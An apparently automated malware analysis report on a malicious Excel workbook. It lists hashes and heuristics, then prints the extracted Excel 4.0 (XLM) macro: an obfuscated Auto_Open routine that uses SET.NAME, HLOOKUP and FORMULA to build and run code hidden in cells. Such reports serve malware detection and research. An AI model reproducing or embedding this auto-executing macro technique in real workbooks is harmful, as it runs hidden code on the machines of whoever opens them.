Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0ea7c93d28429721…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:41:56 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: 5101a6a44d39abc10df7c9b73e503547 SHA-1: a4a5ada151f8f79374d69876f8ef7cb428710b3a SHA-256: 0ea7c93d2842972145763442eba26483a756c389db0e367cc1cf855ab6137e1a
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6607 bytes
SHA-256: ad8649416e3ba33e1d7eeb821a9cbdf047d4334f7d9429b43b1c51dc4940abec
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  fxZHVgnYx
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C155 
' 0018     25 LABEL : Cell Value, String Constant - eJbhOMBTIY len=0 
' 0018     26 LABEL : Cell Value, String Constant - eWkNFnWmfYz len=0 
' 0018     25 LABEL : Cell Value, String Constant - FPXgUkygrH len=0 
' 0018     22 LABEL : Cell Value, String Constant - Fzudymb len=0 
' 0018     23 LABEL : Cell Value, String Constant - FZXbRbQa len=0 
' 0018     24 LABEL : Cell Value, String Constant - GKNRSJxAG len=0 
' 0018     21 LABEL : Cell Value, String Constant - HnCaZi len=0 
' 0018     26 LABEL : Cell Value, String Constant - hreglKcCgIF len=0 
' 0018     24 LABEL : Cell Value, String Constant - jNQyIWoyZ len=0 
' 0018     26 LABEL : Cell Value, String Constant - LUWQaozNZlC len=0 
' 0018     27 LABEL : Cell Value, String Constant - oUeyDEHdosWr len=0 
' 0018     27 LABEL : Cell Value, String Constant - QgDktaTmqYhp len=0 
' 0018     20 LABEL : Cell Value, String Constant - ViDQx len=0 
' 0018     25 LABEL : Cell Value, String Constant - vkhPXKSeJB len=0 
' 0018     22 LABEL : Cell Value, String Constant - WDIVzlG len=0 
' 0018     25 LABEL : Cell Value, String Constant - WWxmTlNSDD len=0 
' 0018     27 LABEL : Cell Value, String Constant - XLXPwRZJJuIr len=0 
' 0018     23 LABEL : Cell Value, String Constant - yQjrUKTe len=0 
' 0018     21 LABEL : Cell Value, String Constant - YtfFqt len=0 
' 0018     27 LABEL : Cell Value, String Constant - YYkXaNRojLFF len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  fxZHVgnYx,C58,"SET.NAME("HnCaZi",VALUE("0"))",""
'  fxZHVgnYx,C60,"SET.NAME("jNQyIWoyZ",HnCaZi)",""
'  fxZHVgnYx,C62,"SET.NAME("vkhPXKSeJB",HnCaZi)",""
'  fxZHVgnYx,C65,"SET.NAME("XLXPwRZJJuIr",COUNTA(FZXbRbQa))",""
'  fxZHVgnYx,C69,"SET.NAME("FPXgUkygrH",COUNTA(yQjrUKTe))",""
'  fxZHVgnYx,C73,[],""
'  fxZHVgnYx,C78,"SET.NAME("LUWQaozNZlC","")",""
'  fxZHVgnYx,C80,"jNQyIWoyZ",""
'  fxZHVgnYx,C85,"SET.NAME("oUeyDEHdosWr",HLOOKUP("*",FZXbRbQa,jNQyIWoyZ,FALSE))",""
'  fxZHVgnYx,C89,"ViDQx",""
'  fxZHVgnYx,C94,"SET.NAME("YYkXaNRojLFF",HnCaZi)",""
'  fxZHVgnYx,C99,[],""
'  fxZHVgnYx,C102,"YYkXaNRojLFF",""
'  fxZHVgnYx,C107,"WWxmTlNSDD",""
'  fxZHVgnYx,C110,"eJbhOMBTIY",""
'  fxZHVgnYx,C114,"WDIVzlG",""
'  fxZHVgnYx,C118,"SET.NAME("QgDktaTmqYhp",VALUE(HLOOKUP("*",yQjrUKTe,WDIVzlG,FALSE)))",""
'  fxZHVgnYx,C121,"eWkNFnWmfYz",""
'  fxZHVgnYx,C123,"LUWQaozNZlC",""
'  fxZHVgnYx,C126,"vkhPXKSeJB",""
'  fxZHVgnYx,C131,NEXT(),""
'  fxZHVgnYx,C135,"Fzudymb",""
'  fxZHVgnYx,C138,"SET.NAME("f",INT(T(FORMULA(T(LUWQaozNZlC)&"",""&T(Fzudymb)))))",""
'  fxZHVgnYx,C143,"hreglKcCgIF",""
'  fxZHVgnYx,C146,NEXT(),""
'  fxZHVgnYx,C150,RETURN(),""
'  fxZHVgnYx,C174,"SET.NAME("GKNRSJxAG",C58)",""
'  fxZHVgnYx,C176,"FZXbRbQa",""
'  fxZHVgnYx,C180,"SET.NAME("yQjrUKTe",R93C14)",""
'  fxZHVgnYx,C184,"SET.NAME("hreglKcCgIF",189)",""
'  fxZHVgnYx,C186,"SET.NAME("YtfFqt",3)",""
'  fxZHVgnYx,C188,GKNRSJxAG(),""
'  fxZHVgnYx,C189,HALT(),""

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